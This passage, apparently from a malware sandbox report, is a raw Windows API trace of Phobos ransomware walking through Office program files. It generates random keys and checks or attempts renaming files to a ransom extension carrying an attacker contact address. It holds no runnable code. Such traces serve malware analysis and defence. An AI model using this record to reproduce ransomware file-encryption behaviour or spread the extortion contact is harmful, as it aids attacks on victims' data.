(normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.661] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.663] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=22720) returned 1 [0151.663] CloseHandle (hObject=0x564) returned 1 [0151.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220 [0151.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.664] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.666] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19136) returned 1 [0151.666] CloseHandle (hObject=0x564) returned 1 [0151.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220 [0151.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.666] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.669] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20672) returned 1 [0151.669] CloseHandle (hObject=0x564) returned 1 [0151.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220 [0151.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.669] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.671] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19648) returned 1 [0151.671] CloseHandle (hObject=0x564) returned 1 [0151.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x220 [0151.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.671] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.672] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19136) returned 1 [0151.673] CloseHandle (hObject=0x564) returned 1 [0151.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x220 [0151.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.673] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.674] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=29376) returned 1 [0151.674] CloseHandle (hObject=0x564) returned 1 [0151.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x220 [0151.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.675] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.677] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=26816) returned 1 [0151.677] CloseHandle (hObject=0x564) returned 1 [0151.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x220 [0151.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.677] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.679] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=73408) returned 1 [0151.679] CloseHandle (hObject=0x564) returned 1 [0151.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x220 [0151.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.679] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.794] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19648) returned 1 [0151.794] CloseHandle (hObject=0x564) returned 1 [0151.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x220 [0151.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-process-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.799] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.822] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=707) returned 1 [0151.822] CloseHandle (hObject=0x564) returned 1 [0151.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 0x220 [0151.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.823] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.826] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=194776) returned 1 [0151.826] CloseHandle (hObject=0x564) returned 1 [0151.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll")) returned 0x220 [0151.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.827] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.832] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=45664) returned 1 [0151.832] CloseHandle (hObject=0x564) returned 1 [0151.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe")) returned 0x220 [0151.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.835] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.840] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=363736) returned 1 [0151.840] CloseHandle (hObject=0x564) returned 1 [0151.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll")) returned 0x220 [0151.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.841] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.847] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6890712) returned 1 [0151.847] CloseHandle (hObject=0x564) returned 1 [0151.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll")) returned 0x220 [0151.847] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0151.857] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll")) returned 0 [0151.858] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.864] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=132800) returned 1 [0151.865] CloseHandle (hObject=0x564) returned 1 [0151.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll")) returned 0x220 [0151.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.865] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.869] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=455344) returned 1 [0151.869] CloseHandle (hObject=0x564) returned 1 [0151.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll")) returned 0x220 [0151.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 